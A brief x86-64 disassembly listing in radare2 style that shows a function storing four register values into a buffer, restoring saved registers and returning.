call fcn.1400117f0
mov r9, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
mov dword [r9], eax
mov dword [r9 + 4], ebx
mov dword [r9 + 8], ecx
mov dword [r9 + 0xc], edx
mov r15, qword [rsi - 0x30]
mov r14, qword [rsi - 0x28]
mov r13, qword [rsi - 0x20]
mov r12, qword [rsi - 0x18]
mov rbp, qword [rsi - 0x10]
mov rbx, qword [rsi - 8]
lea rsp, [rsi]
mov rdi, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
repz ret